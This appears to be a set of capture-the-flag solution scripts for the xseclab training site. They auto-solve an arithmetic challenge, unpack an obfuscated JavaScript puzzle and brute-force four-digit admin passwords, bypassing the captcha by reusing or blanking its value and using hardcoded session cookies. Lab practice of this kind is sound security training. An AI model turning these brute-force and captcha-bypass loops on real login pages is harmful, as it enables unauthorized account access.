import requests, re
url = 'http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
s = requests.session()

c = s.get(url).content
print(c)
c=c.decode('utf-8')#python3一定要加上这一句
r = re.findall(r'[\d]{2,}',c)
r = int(r[0])*int(r[1])+int(r[2])*(int(r[3])+int(r[4]))
c1 = s.post(url, data={'v':r}).content
print(c1.decode('utf-8'))

<script>
var a = function () {
  var b = function (p, a, c, k, e, r) {
    e = function (c) {
      return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29)  : c.toString(36))
    };
    if (!''.replace(/^/, String)) {
      while (c--) r[e(c)] = k[c] || e(c);
      k = [
        function (e) {
          return r[e]
        }
      ];
      e = function () {
        return '\\w+'
      };
      c = 1
    };
    while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
    return p
  }('1s(1e(p,a,c,k,e,r){e=1e(c){1d(c<a?\'\':e(1p(c/a)))+((c=c%a)>1q?1f.1j(c+1k):c.1n(1o))};1g(!\'\'.1h(/^/,1f)){1i(c--)r[e(c)]=k[c]||e(c);k=[1e(e){1d r[e]}];e=1e(){1d\'\\\\w+\'};c=1};1i(c--)1g(k[c])p=p.1h(1l 1m(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);1d p}(\'Y(R(p,a,c,k,e,r){e=R(c){S(c<a?\\\'\\\':e(18(c/a)))+((c=c%a)>17?T.16(c+15):c.12(13))};U(!\\\'\\\'.V(/^/,T)){W(c--)r[e(c)]=k[c]||e(c);k=[R(e){S r[e]}];e=R(){S\\\'\\\\\\\\w+\\\'};c=1};W(c--)U(k[c])p=p.V(Z 11(\\\'\\\\\\\\b\\\'+e(c)+\\\'\\\\\\\\b\\\',\\\'g\\\'),k[c]);S p}(\\\'G(B(p,a,c,k,e,r){e=B(c){A c.L(a)};E(!\\\\\\\'\\\\\\\'.C(/^/,F)){D(c--)r[e(c)]=k[c]||e(c);k=[B(e){A r[e]}];e=B(){A\\\\\\\'\\\\\\\\\\\\\\\\w+\\\\\\\'};c=1};D(c--)E(k[c])p=p.C(I J(\\\\\\\'\\\\\\\\\\\\\\\\b\\\\\\\'+e(c)+\\\\\\\'\\\\\\\\\\\\\\\\b\\\\\\\',\\\\\\\'g\\\\\\\'),k[c]);A p}(\\\\\\\'t(h(p,a,c,k,e,r){e=o;n(!\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\'.m(/^/,o)){l(c--)r[c]=k[c]||c;k=[h(e){f r[e]}];e=h(){f\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\w+\\\\\\\\\\\\\\\'};c=1};l(c--)n(k[c])p=p.m(q s(\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\b\\\\\\\\\\\\\\\'+e(c)+\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\b\\\\\\\\\\\\\\\',\\\\\\\\\\\\\\\'g\\\\\\\\\\\\\\\'),k[c]);f p}(\\\\\\\\\\\\\\\'1 3="6";1 4="7";1 5="";8(1 2=0;2<9;2++){5+=3+4}\\\\\\\\\\\\\\\',j,j,\\\\\\\\\\\\\\\'|u|i|b|c|d|v|x|y|j\\\\\\\\\\\\\\\'.z(\\\\\\\\\\\\\\\'|\\\\\\\\\\\\\\\'),0,{}))\\\\\\\',H,H,\\\\\\\'|||||||||||||||A||B||M||D|C|E|F||I||J|G|N|O||P|Q|K\\\\\\\'.K(\\\\\\\'|\\\\\\\'),0,{}))\\\',X,X,\\\'||||||||||||||||||||||||||||||||||||S|R|V|W|U|T|Y|13|Z|11|14|12|10|19|1a|1b|1c\\\'.14(\\\'|\\\'),0,{}))\',1t,1u,\'|||||||||||||||||||||||||||||||||||||||||||||||||||||1e|1d|1f|1g|1h|1i|1v|1s|1l||1m|1n|1o|1r|1k|1j|1q|1p|1w|1x|1y|1z\'.1r(\'|\'),0,{}))', 62, 98, '|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||return|function|String|if|replace|while|fromCharCode|29|new|RegExp|toString|36|parseInt|35|split|eval|62|75|53|var|slakfj|teslkjsdflk|for'.split('|'), 0, {
  });
  var d = eval(b);
  alert('key is first 14 chars' + '\n'+d.substr(0,14));
}()
</script>

import requests
import re
s=requests.Session()
url="http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php"
head={'cookie':'PHPSESSID=21949ea3cea7b84b9bf57f8d4b449a63'}
for num in range(1000,10000):
    data={'username':'admin','pwd':num,'vcode':'99QZ','submit':'submit'}
    res=s.post(url,data=data,headers=head).content.decode('utf-8')
    if u'pwd error' in res:
        print('正在尝试',num,'-----密码错误！')
    if u'vcode error' in res:
        print('验证码错误，请重新查看并输入正确验证码！')
    # print(res)
    if u'error' not in res:
        print(num,'-------正确')
        print(res)
        break

import requests
import re
s=requests.Session()
url="http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php"
head={'cookie':'PHPSESSID=844e5142519e671ce9180b9a47588675'}
for num in range(1000,10000):
    data={'username':'admin','pwd':num,'vcode':'','submit':'submit'}
    res=s.post(url,data=data,headers=head).content.decode('utf-8')
    if u'pwd error' in res:
        print('正在尝试',num,'-----密码错误！')
    if u'vcode error' in res:
        print('验证码错误，请重新查看并输入正确验证码！')
    # print(res)
    if u'error' not in res:
        print(num,'-------正确')
        print(res)
        break

import requests  
import re  
s=requests.Session()  
url="http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php"  
head={'session':'PHPSESSID=d369965b1284d87405231a4a5763cddc'}  
for num in range(1000,10000):  
           data={'username':'admin','pwd':num,'vcode':'','submit':'submit'}  
           res=s.post(url,data=data,headers=head).content.decode('utf-8')  
           if u'pwd error' in res:  
                      print('正在尝试',num,'------密码错误!')  
           if u'vcode error' in res:  
                      print('验证码错误！')  
                      break  
           if u'error' not in res:  
                      print(num,'----密码破解成功！')  
                      print(res)  
                      break  
第二个使用python2脚本
import requests
s = requests.Session()
url = "http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php"
header = {"Cookie": "PHPSESSID=09462a3c9f8553aa536d87ab8b3c6614"}

for pwd in range(1000,10000):
    payload = {'username': 'admin', 'pwd':pwd ,'vcode': ''}
    r = s.post(url,headers=header,data=payload).content
    if r.count("key"):
        print r,pwd